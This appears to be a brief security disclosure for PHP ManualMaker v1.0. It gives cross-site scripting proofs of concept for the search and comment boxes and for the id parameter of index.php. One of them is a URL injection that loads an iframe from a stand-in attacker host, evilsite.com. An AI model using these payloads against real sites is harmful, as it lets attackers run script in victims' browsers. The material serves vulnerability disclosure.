PHP ManualMaker v1.0

Homepage:
http://deltascripts.com/phpmanualmaker/

Effected files:
index.php
Search boxes
Comment boxes

XSS proof of concept:

Input in search or comment box:
">">">'><IMG SRC=javascript:alert(&#0000039XSS&#0000039)><""><'<"

XSS via URL injection of id:
http://www.example.com/manualmaker/index.php?print=1&id=<iframe src=http://evilsite.com/evilcode.html <